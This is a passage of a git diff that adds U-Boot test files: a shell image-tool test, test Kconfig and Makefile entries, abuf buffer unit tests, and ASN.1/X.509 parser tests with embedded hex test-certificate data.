+ assert_equal ${TEST_OUT} ${DATAFILE2}
+
+ # List contents of multi-file image and compares output from tools
+ list_image ${IMAGE_MULTI}
+ assert_equal ${DUMPIMAGE_LIST} ${MKIMAGE_LIST}
+
+ # Compress and extract FIT images, compare the result
+ create_fit_image
+ extract_fit_image
+ for file in ${DATAFILES}; do
+ assert_equal ${file} ${SRCDIR}/${file}
+ done
+ assert_equal ${TEST_OUT} ${DATAFILE2}
+
+ # List contents of FIT image and compares output from tools
+ list_image ${IMAGE_FIT_ITB}
+ assert_equal ${DUMPIMAGE_LIST} ${MKIMAGE_LIST}
+
+ # Remove files created
+ cleanup
+
+ echo "Tests passed."
+}
+
+main
diff --git a/test/lib/Kconfig b/test/lib/Kconfig
new file mode 100644
index 00000000000..ae0aa2ff7ac
--- /dev/null
+++ b/test/lib/Kconfig
@@ -0,0 +1,24 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright 2022 Google LLC
+
+config TEST_KCONFIG
+ bool "Enable detection of Kconfig macro errors"
+ depends on SANDBOX
+ help
+ This is used to test that the IF_ENABLED_INT() macro causes a build error
+ if the value is used when the CONFIG is not enabled.
+
+if TEST_KCONFIG
+
+config TEST_KCONFIG_ENABLE
+ bool "Provide a value for the Kconfig test"
+ help
+ This is the option that controls whether the value is present.
+
+config TEST_KCONFIG_VALUE
+ int "Value used in Kconfig test"
+ depends on TEST_KCONFIG_ENABLE
+ help
+ This is the value which is present if TEST_KCONFIG_ENABLE is enabled.
+
+endif # TEST_KCONFIG
diff --git a/test/lib/Makefile b/test/lib/Makefile
new file mode 100644
index 00000000000..e75a263e6a4
--- /dev/null
+++ b/test/lib/Makefile
@@ -0,0 +1,28 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# (C) Copyright 2018
+# Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ifeq ($(CONFIG_SPL_BUILD),)
+obj-y += cmd_ut_lib.o
+obj-y += abuf.o
+obj-$(CONFIG_EFI_LOADER) += efi_device_path.o
+obj-$(CONFIG_EFI_SECURE_BOOT) += efi_image_region.o
+obj-y += hexdump.o
+obj-$(CONFIG_SANDBOX) += kconfig.o
+obj-y += lmb.o
+obj-y += longjmp.o
+obj-$(CONFIG_CONSOLE_RECORD) += test_print.o
+obj-$(CONFIG_SSCANF) += sscanf.o
+obj-y += string.o
+obj-y += strlcat.o
+obj-$(CONFIG_ERRNO_STR) += test_errno_str.o
+obj-$(CONFIG_UT_LIB_ASN1) += asn1.o
+obj-$(CONFIG_UT_LIB_RSA) += rsa.o
+obj-$(CONFIG_AES) += test_aes.o
+obj-$(CONFIG_GETOPT) += getopt.o
+obj-$(CONFIG_CRC8) += test_crc8.o
+obj-$(CONFIG_UT_LIB_CRYPT) += test_crypt.o
+obj-$(CONFIG_LIB_UUID) += uuid.o
+else
+obj-$(CONFIG_SANDBOX) += kconfig_spl.o
+endif
diff --git a/test/lib/abuf.c b/test/lib/abuf.c
new file mode 100644
index 00000000000..7c0481ab610
--- /dev/null
+++ b/test/lib/abuf.c
@@ -0,0 +1,397 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <abuf.h>
+#include <mapmem.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static char test_data[] = "1234";
+#define TEST_DATA_LEN sizeof(test_data)
+
+/* Test abuf_set() */
+static int lib_test_abuf_set(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong start;
+
+ start = ut_check_free();
+
+ abuf_init(&buf);
+ abuf_set(&buf, test_data, TEST_DATA_LEN);
+ ut_asserteq_ptr(test_data, buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Force it to allocate */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN + 1));
+ ut_assertnonnull(buf.data);
+ ut_asserteq(TEST_DATA_LEN + 1, buf.size);
+ ut_asserteq(true, buf.alloced);
+
+ /* Now set it again, to force it to free */
+ abuf_set(&buf, test_data, TEST_DATA_LEN);
+ ut_asserteq_ptr(test_data, buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Check for memory leaks */
+ ut_assertok(ut_check_delta(start));
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_set, 0);
+
+/* Test abuf_map_sysmem() */
+static int lib_test_abuf_map_sysmem(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong addr;
+
+ abuf_init(&buf);
+ addr = 0x100;
+ abuf_map_sysmem(&buf, addr, TEST_DATA_LEN);
+
+ ut_asserteq_ptr(map_sysmem(0x100, 0), buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_map_sysmem, 0);
+
+/* Test abuf_realloc() */
+static int lib_test_abuf_realloc(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong start;
+ void *ptr;
+
+ /*
+ * TODO: crashes on sandbox sometimes due to an apparent bug in
+ * realloc().
+ */
+ return 0;
+
+ start = ut_check_free();
+
+ abuf_init(&buf);
+
+ /* Allocate an empty buffer */
+ ut_asserteq(true, abuf_realloc(&buf, 0));
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Allocate a non-empty abuf */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN));
+ ut_assertnonnull(buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(true, buf.alloced);
+ ptr = buf.data;
+
+ /*
+ * Make it smaller; the pointer should remain the same. Note this relies
+ * on knowledge of how U-Boot's realloc() works
+ */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN - 1));
+ ut_asserteq(TEST_DATA_LEN - 1, buf.size);
+ ut_asserteq(true, buf.alloced);
+ ut_asserteq_ptr(ptr, buf.data);
+
+ /*
+ * Make it larger, forcing reallocation. Note this relies on knowledge
+ * of how U-Boot's realloc() works
+ */
+ ut_asserteq(true, abuf_realloc(&buf, 0x1000));
+ ut_assert(buf.data != ptr);
+ ut_asserteq(0x1000, buf.size);
+ ut_asserteq(true, buf.alloced);
+
+ /* Free it */
+ ut_asserteq(true, abuf_realloc(&buf, 0));
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Check for memory leaks */
+ ut_assertok(ut_check_delta(start));
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_realloc, 0);
+
+/* Test abuf_realloc() on an non-allocated buffer of zero size */
+static int lib_test_abuf_realloc_size(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong start;
+
+ start = ut_check_free();
+
+ abuf_init(&buf);
+
+ /* Allocate some space */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN));
+ ut_assertnonnull(buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(true, buf.alloced);
+
+ /* Free it */
+ ut_asserteq(true, abuf_realloc(&buf, 0));
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Check for memory leaks */
+ ut_assertok(ut_check_delta(start));
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_realloc_size, 0);
+
+/* Test abuf_realloc_inc() */
+static int lib_test_abuf_realloc_inc(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong start;
+
+ start = ut_check_free();
+
+ abuf_init(&buf);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ abuf_realloc_inc(&buf, 20);
+ ut_asserteq(20, buf.size);
+ ut_asserteq(true, buf.alloced);
+
+ abuf_uninit(&buf);
+
+ /* Check for memory leaks */
+ ut_assertok(ut_check_delta(start));
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_realloc_inc, 0);
+
+/* Test handling of buffers that are too large */
+static int lib_test_abuf_large(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ ulong start;
+ size_t size;
+ int delta;
+ void *ptr;
+
+ /*
+ * This crashes at present due to trying to allocate more memory than
+ * available, which breaks something on sandbox.
+ */
+ return 0;
+
+ start = ut_check_free();
+
+ /* Try an impossible size */
+ abuf_init(&buf);
+ ut_asserteq(false, abuf_realloc(&buf, CONFIG_SYS_MALLOC_LEN));
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ abuf_uninit(&buf);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Start with a normal size then try to increase it, to check realloc */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN));
+ ut_assertnonnull(buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(true, buf.alloced);
+ ptr = buf.data;
+ delta = ut_check_delta(start);
+ ut_assert(delta > 0);
+
+ /* try to increase it */
+ ut_asserteq(false, abuf_realloc(&buf, CONFIG_SYS_MALLOC_LEN));
+ ut_asserteq_ptr(ptr, buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(true, buf.alloced);
+ ut_asserteq(delta, ut_check_delta(start));
+
+ /* Check for memory leaks */
+ abuf_uninit(&buf);
+ ut_assertok(ut_check_delta(start));
+
+ /* Start with a huge unallocated buf and try to move it */
+ abuf_init(&buf);
+ abuf_map_sysmem(&buf, 0, CONFIG_SYS_MALLOC_LEN);
+ ut_asserteq(CONFIG_SYS_MALLOC_LEN, buf.size);
+ ut_asserteq(false, buf.alloced);
+ ut_assertnull(abuf_uninit_move(&buf, &size));
+
+ /* Check for memory leaks */
+ abuf_uninit(&buf);
+ ut_assertok(ut_check_delta(start));
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_large, 0);
+
+/* Test abuf_uninit_move() */
+static int lib_test_abuf_uninit_move(struct unit_test_state *uts)
+{
+ void *ptr, *orig_ptr;
+ struct abuf buf;
+ size_t size;
+ ulong start;
+ int delta;
+
+ start = ut_check_free();
+
+ /*
+ * TODO: crashes on sandbox sometimes due to an apparent bug in
+ * realloc().
+ */
+ return 0;
+
+ /* Move an empty buffer */
+ abuf_init(&buf);
+ ut_assertnull(abuf_uninit_move(&buf, &size));
+ ut_asserteq(0, size);
+ ut_assertnull(abuf_uninit_move(&buf, NULL));
+
+ /* Move an unallocated buffer */
+ abuf_set(&buf, test_data, TEST_DATA_LEN);
+ ut_assertok(ut_check_delta(start));
+ ptr = abuf_uninit_move(&buf, &size);
+ ut_asserteq(TEST_DATA_LEN, size);
+ ut_asserteq_str(ptr, test_data);
+ ut_assertnonnull(ptr);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Check that freeing it frees the only allocation */
+ delta = ut_check_delta(start);
+ ut_assert(delta > 0);
+ free(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* Move an allocated buffer */
+ ut_asserteq(true, abuf_realloc(&buf, TEST_DATA_LEN));
+ orig_ptr = buf.data;
+ strcpy(orig_ptr, test_data);
+
+ delta = ut_check_delta(start);
+ ut_assert(delta > 0);
+ ptr = abuf_uninit_move(&buf, &size);
+ ut_asserteq(TEST_DATA_LEN, size);
+ ut_assertnonnull(ptr);
+ ut_asserteq_ptr(ptr, orig_ptr);
+ ut_asserteq_str(ptr, test_data);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Check there was no new allocation */
+ ut_asserteq(delta, ut_check_delta(start));
+
+ /* Check that freeing it frees the only allocation */
+ free(ptr);
+ ut_assertok(ut_check_delta(start));
+
+ /* Move an unallocated buffer, without the size */
+ abuf_set(&buf, test_data, TEST_DATA_LEN);
+ ut_assertok(ut_check_delta(start));
+ ptr = abuf_uninit_move(&buf, NULL);
+ ut_asserteq_str(ptr, test_data);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_uninit_move, 0);
+
+/* Test abuf_uninit() */
+static int lib_test_abuf_uninit(struct unit_test_state *uts)
+{
+ struct abuf buf;
+
+ /* Nothing in the buffer */
+ abuf_init(&buf);
+ abuf_uninit(&buf);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ /* Not allocated */
+ abuf_set(&buf, test_data, TEST_DATA_LEN);
+ abuf_uninit(&buf);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_uninit, 0);
+
+/* Test abuf_init_set() */
+static int lib_test_abuf_init_set(struct unit_test_state *uts)
+{
+ struct abuf buf;
+
+ abuf_init_set(&buf, test_data, TEST_DATA_LEN);
+ ut_asserteq_ptr(test_data, buf.data);
+ ut_asserteq(TEST_DATA_LEN, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_init_set, 0);
+
+/* Test abuf_init_move() */
+static int lib_test_abuf_init_move(struct unit_test_state *uts)
+{
+ struct abuf buf;
+ void *ptr;
+
+ /*
+ * TODO: crashes on sandbox sometimes due to an apparent bug in
+ * realloc().
+ */
+ return 0;
+
+ ptr = strdup(test_data);
+ ut_assertnonnull(ptr);
+
+ free(ptr);
+
+ abuf_init_move(&buf, ptr, TEST_DATA_LEN);
+ ut_asserteq_ptr(ptr, abuf_data(&buf));
+ ut_asserteq(TEST_DATA_LEN, abuf_size(&buf));
+ ut_asserteq(true, buf.alloced);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_init_move, 0);
+
+/* Test abuf_init() */
+static int lib_test_abuf_init(struct unit_test_state *uts)
+{
+ struct abuf buf;
+
+ buf.data = &buf;
+ buf.size = 123;
+ buf.alloced = true;
+ abuf_init(&buf);
+ ut_assertnull(buf.data);
+ ut_asserteq(0, buf.size);
+ ut_asserteq(false, buf.alloced);
+
+ return 0;
+}
+LIB_TEST(lib_test_abuf_init, 0);
diff --git a/test/lib/asn1.c b/test/lib/asn1.c
new file mode 100644
index 00000000000..4842b7058ac
--- /dev/null
+++ b/test/lib/asn1.c
@@ -0,0 +1,391 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2019 Linaro Limited
+ * Author: AKASHI Takahiro
+ *
+ * Unit test for asn1 compiler and asn1 decoder function via various parsers
+ */
+
+#include <command.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#ifdef CONFIG_PKCS7_MESSAGE_PARSER
+#include <crypto/pkcs7_parser.h>
+#else
+#ifdef CONFIG_X509_CERTIFICATE_PARSER
+#include <crypto/x509_parser.h>
+#endif
+#endif
+
+#ifdef CONFIG_X509_CERTIFICATE_PARSER
+static const unsigned char cert_data[] = {
+ 0x30, 0x82, 0x03, 0xc7, 0x30, 0x82, 0x02, 0xaf, 0xa0, 0x03, 0x02, 0x01,
+ 0x02, 0x02, 0x09, 0x00, 0xd7, 0x17, 0x0a, 0x76, 0xd5, 0xd3, 0x4d, 0xeb,
+ 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
+ 0x0b, 0x05, 0x00, 0x30, 0x7a, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55,
+ 0x04, 0x06, 0x13, 0x02, 0x4a, 0x50, 0x31, 0x0e, 0x30, 0x0c, 0x06, 0x03,
+ 0x55, 0x04, 0x08, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x31, 0x0e,
+ 0x30, 0x0c, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x05, 0x54, 0x6f, 0x6b,
+ 0x79, 0x6f, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c,
+ 0x06, 0x4c, 0x69, 0x6e, 0x61, 0x72, 0x6f, 0x31, 0x0b, 0x30, 0x09, 0x06,
+ 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x02, 0x53, 0x57, 0x31, 0x0f, 0x30, 0x0d,
+ 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x06, 0x54, 0x65, 0x73, 0x74, 0x65,
+ 0x72, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
+ 0x0d, 0x01, 0x09, 0x01, 0x16, 0x0d, 0x74, 0x65, 0x73, 0x74, 0x40, 0x74,
+ 0x65, 0x73, 0x74, 0x2e, 0x6f, 0x72, 0x67, 0x30, 0x1e, 0x17, 0x0d, 0x31,
+ 0x39, 0x31, 0x30, 0x31, 0x38, 0x30, 0x33, 0x31, 0x33, 0x33, 0x31, 0x5a,
+ 0x17, 0x0d, 0x32, 0x30, 0x31, 0x30, 0x31, 0x37, 0x30, 0x33, 0x31, 0x33,
+ 0x33, 0x31, 0x5a, 0x30, 0x7a, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55,
+ 0x04, 0x06, 0x13, 0x02, 0x4a, 0x50, 0x31, 0x0e, 0x30, 0x0c, 0x06, 0x03,
+ 0x55, 0x04, 0x08, 0x0c, 0x05, 0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x31, 0x0e,
+ 0x30, 0x0c, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x05, 0x54, 0x6f, 0x6b,
+ 0x79, 0x6f, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c,
+ 0x06, 0x4c, 0x69, 0x6e, 0x61, 0x72, 0x6f, 0x31, 0x0b, 0x30, 0x09, 0x06,
+ 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x02, 0x53, 0x57, 0x31, 0x0f, 0x30, 0x0d,
+ 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x06, 0x54, 0x65, 0x73, 0x74, 0x65,
+ 0x72, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
+ 0x0d, 0x01, 0x09, 0x01, 0x16, 0x0d, 0x74, 0x65, 0x73, 0x74, 0x40, 0x74,
+ 0x65, 0x73, 0x74, 0x2e, 0x6f, 0x72, 0x67, 0x30, 0x82, 0x01, 0x22, 0x30,
+ 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01,
+ 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02,
+ 0x82, 0x01, 0x01, 0x00, 0x9f, 0x37, 0x4d, 0x95, 0x7e, 0x36, 0xb7, 0xaf,
+ 0xf4, 0xd6, 0xce, 0x39, 0x04, 0xee, 0xbf, 0x36, 0xb2, 0xcc, 0xa3, 0x8b,
+ 0x9e, 0xac, 0x62, 0x8a, 0xe9, 0xae, 0x18, 0xcf, 0xe8, 0x95, 0xfd, 0xcb,
+ 0xad, 0x34, 0x8a, 0x5f, 0x55, 0xe6, 0x0c, 0x5e, 0xf8, 0x76, 0xc1, 0xa2,
+ 0xc3, 0xd4, 0x73, 0x13, 0x8a, 0x71, 0x1b, 0xfd, 0x58, 0x27, 0xea, 0x4d,
+ 0x41, 0xff, 0x63, 0xbb, 0xad, 0x97, 0x62, 0xba, 0xe4, 0xe5, 0x97, 0x45,
+ 0xa3, 0x5b, 0xd5, 0x5b, 0x53, 0x55, 0x10, 0x19, 0xfa, 0xac, 0xbd, 0xdb,
+ 0x77, 0x62, 0x23, 0x50, 0x3f, 0x35, 0xdb, 0x8a, 0xf6, 0xee, 0x7a, 0x31,
+ 0xec, 0x92, 0xf5, 0x78, 0x35, 0x92, 0x76, 0x3c, 0x5f, 0xe7, 0xee, 0xc9,
+ 0xed, 0x01, 0x1c, 0x42, 0x55, 0xd6, 0x7e, 0xa6, 0xca, 0x7c, 0xd1, 0x15,
+ 0x16, 0x87, 0x7c, 0x99, 0x63, 0xc0, 0xa9, 0x25, 0x49, 0xbc, 0x4e, 0xdc,
+ 0x2d, 0x4b, 0xcb, 0x52, 0xd7, 0x67, 0xe9, 0x83, 0x6b, 0x5e, 0x5b, 0x48,
+ 0x80, 0x33, 0xe9, 0xcc, 0xe8, 0xfe, 0x19, 0xc8, 0xc2, 0x61, 0x74, 0x52,
+ 0x25, 0x92, 0x48, 0xea, 0xad, 0x15, 0x16, 0x64, 0x6e, 0x53, 0x30, 0x77,
+ 0xa2, 0xef, 0x61, 0x92, 0x1b, 0x5e, 0xbe, 0x07, 0xf2, 0x3c, 0xf8, 0x35,
+ 0x7d, 0x76, 0x4f, 0x78, 0xa9, 0x2a, 0xf1, 0x32, 0xff, 0xec, 0x89, 0xa9,
+ 0x22, 0x4c, 0x3d, 0xc8, 0x65, 0xca, 0xf4, 0xa2, 0x6d, 0x3f, 0xa4, 0x0a,
+ 0xfa, 0x9e, 0xe4, 0xf0, 0xdb, 0x39, 0xb1, 0xf9, 0xf0, 0xfb, 0x04, 0x81,
+ 0x44, 0xa7, 0xd7, 0x61, 0xdf, 0x2d, 0x13, 0x45, 0x2c, 0xae, 0xf0, 0x0e,
+ 0xc4, 0x07, 0x5d, 0x7d, 0x2b, 0xb2, 0x20, 0x75, 0x33, 0x6b, 0x5b, 0xf7,
+ 0xe7, 0x17, 0x51, 0xf1, 0xab, 0xc1, 0x9e, 0xc6, 0xf0, 0x30, 0xc6, 0x25,
+ 0x26, 0x3e, 0xd7, 0xd7, 0xa3, 0xcc, 0x15, 0x95, 0x02, 0x03, 0x01, 0x00,
+ 0x01, 0xa3, 0x50, 0x30, 0x4e, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e,
+ 0x04, 0x16, 0x04, 0x14, 0x45, 0x8a, 0x76, 0xf7, 0x4f, 0xf4, 0x0e, 0xa0,
+ 0xf2, 0x02, 0xe1, 0xe7, 0xe9, 0xc7, 0x7d, 0x51, 0x55, 0x92, 0x33, 0xcd,
+ 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80,
+ 0x14, 0x45, 0x8a, 0x76, 0xf7, 0x4f, 0xf4, 0x0e, 0xa0, 0xf2, 0x02, 0xe1,
+ 0xe7, 0xe9, 0xc7, 0x7d, 0x51, 0x55, 0x92, 0x33, 0xcd, 0x30, 0x0c, 0x06,
+ 0x03, 0x55, 0x1d, 0x13, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xff, 0x30,
+ 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
+ 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x47, 0x93, 0x82, 0x0e, 0x8a,
+ 0x70, 0x9d, 0x6c, 0x7a, 0xdb, 0x04, 0xb4, 0xc9, 0xef, 0x98, 0x28, 0xc6,
+ 0xd9, 0x53, 0x90, 0xc8, 0x25, 0x83, 0x07, 0x23, 0xe7, 0x59, 0x38, 0xc1,
+ 0xc0, 0x50, 0x28, 0x99, 0x92, 0xfb, 0x21, 0x24, 0x72, 0xe5, 0xa6, 0x57,
+ 0x30, 0x31, 0xb3, 0xdf, 0xa0, 0x17, 0xa9, 0x73, 0x9c, 0x39, 0x83, 0xfb,
+ 0xe4, 0xfa, 0x20, 0x1d, 0xfa, 0x33, 0x20, 0x0c, 0x72, 0x2a, 0x50, 0x40,
+ 0xbd, 0x2d, 0x33, 0xa2, 0xfc, 0x06, 0xf9, 0xfe, 0x86, 0x4f, 0x50, 0x1d,
+ 0x65, 0x37, 0xe9, 0x30, 0x33, 0x82, 0xa1, 0x75, 0x8f, 0x5d, 0x33, 0x84,
+ 0x0d, 0xf2, 0x09, 0x04, 0xc0, 0x7a, 0x12, 0x79, 0xdb, 0x4f, 0x77, 0x04,
+ 0xe4, 0xd8, 0x0b, 0x87, 0x19, 0xba, 0xb7, 0x3c, 0xa6, 0x45, 0xaa, 0x91,
+ 0x62, 0x7f, 0x01, 0x7d, 0xc6, 0x20, 0x6d, 0x71, 0x15, 0x74, 0x5e, 0x87,
+ 0xb3, 0x60, 0x17, 0x9c, 0xc0, 0xed, 0x01, 0x4b, 0xb3, 0x23, 0x24, 0xc1,
+ 0xcb, 0x7a, 0x83, 0x03, 0x26, 0x2d, 0xde, 0x47, 0xc5, 0x11, 0x94, 0x28,
+ 0x27, 0x15, 0x92, 0x00, 0x8b, 0x2e, 0x51, 0x42, 0xca, 0x4b, 0x4a, 0x2c,
+ 0x51, 0x37, 0x56, 0xd0, 0xbc, 0x33, 0xd5, 0xd5, 0x3e, 0x79, 0x5c, 0x3f,
+ 0x9d, 0x6e, 0xb1, 0xe9, 0x71, 0xf1, 0x2c, 0xe9, 0xb4, 0x88, 0x2c, 0xd2,
+ 0x49, 0x97, 0xce, 0x29, 0x94, 0x16, 0xc9, 0xf9, 0x64, 0x0e, 0xd0, 0xd9,
+ 0x7a, 0x53, 0x10, 0x1a, 0xee, 0x83, 0x73, 0x93, 0x1b, 0xdf, 0x8a, 0x77,
+ 0xc0, 0x56, 0x63, 0xab, 0x5a, 0x65, 0xc5, 0xc5, 0x3b, 0xf3, 0x30, 0x80,
+ 0xfc, 0x38, 0x8b, 0xc9, 0xcd, 0xc3, 0x4f, 0x2e, 0x2d, 0x67, 0xcc, 0x17,
+ 0x18, 0x9b, 0x3e, 0xc6, 0x47, 0x03, 0xfc, 0x35, 0xa8, 0x35, 0x06, 0x5a,
+ 0x77, 0xe5, 0x97, 0x71, 0xbb, 0x27, 0x93, 0x0d, 0x1f, 0x0e, 0x8c
+};
+
+static unsigned int cert_data_len = 971;
+
+/**
+ * lib_asn1_x509() - unit test for asn1 decoder function
+ * with x509 certificate parser
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_asn1_x509(struct unit_test_state *uts)
+{
+ struct x509_certificate *cert;
+
+ cert = x509_cert_parse(cert_data, cert_data_len);
+
+ ut_assertf(!IS_ERR(cert), "decoding failed\n");
+ ut_assertf(!strcmp(cert->subject, "Linaro: Tester"),
+ "subject doesn't match\n");
+ ut_assertf(!strcmp(cert->issuer, "Linaro: Tester"),
+ "issuer doesn't match\n");
+ ut_assertf(cert->pub, "public key doesn't exist\n");
+ ut_assertf(cert->pub->keylen == 0x10e, "key length doesn't match\n");
+ ut_assertf(!strcmp(cert->pub->pkey_algo, "rsa"), "algo isn't rsa\n");
+ ut_assertf(cert->valid_from == 0x5da92ddb,
+ "valid_from doesn't match\n");
+ ut_assertf(cert->valid_to == 0x5f8a615b, "valid_to doesn't match\n");
+
+ x509_free_certificate(cert);
+
+ return CMD_RET_SUCCESS;
+}
+
+LIB_TEST(lib_asn1_x509, 0);
+#endif /* CONFIG_X509_CERTIFICATE_PARSER */
+
+#ifdef CONFIG_PKCS7_MESSAGE_PARSER
+/*
+ * sbsign --key priv.pem --cert cert.pem --detach --out Image.pk Image
+ */
+static const unsigned char image_pk7[] = {
+ 0x30, 0x82, 0x07, 0x0f, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d,
+ 0x01, 0x07, 0x02, 0xa0, 0x82, 0x07, 0x00, 0x30, 0x82, 0x06, 0xfc, 0x02,
+ 0x01, 0x01, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01,
+ 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x78, 0x06, 0x0a, 0x2b,
+ 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xa0, 0x6a, 0x30,
+ 0x68, 0x30, 0x33, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37,
+ 0x02, 0x01, 0x0f, 0x30, 0x25, 0x03, 0x01, 0x00, 0xa0, 0x20, 0xa2, 0x1e,
+ 0x80, 0x1c, 0x00, 0x3c, 0x00, 0x3c, 0x00, 0x3c, 0x00, 0x4f, 0x00, 0x62,
+ 0x00, 0x73, 0x00, 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x74, 0x00, 0x65,
+ 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x3e, 0x30, 0x31, 0x30, 0x0d, 0x06, 0x09,
+ 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04,
+ 0x20, 0x9e, 0x90, 0x99, 0x6d, 0xf2, 0xb5, 0x3d, 0x3f, 0xfc, 0x38, 0xb6,
+ 0xf2, 0x1f, 0xd2, 0x24, 0x88, 0x43, 0x77, 0x7d, 0xc1, 0x2c, 0x9e, 0x8a,
+ 0xf6, 0xf7, 0xdd, 0x9e, 0x9c, 0x5f, 0x18, 0x36, 0xc5, 0xa0, 0x82, 0x03,
+ 0xcb, 0x30, 0x82, 0x03, 0xc7, 0x30, 0x82, 0x02, 0xaf, 0xa0, 0x03, 0x02,
+ 0x01, 0x02, 0x02, 0x09, 0x00, 0xd7, 0x17, 0x0a, 0x76, 0xd5, 0xd3, 0x4d,
+ 0xeb, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01,
+ 0x01, 0x0b, 0x05, 0x00, 0x30, 0x7a, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03,
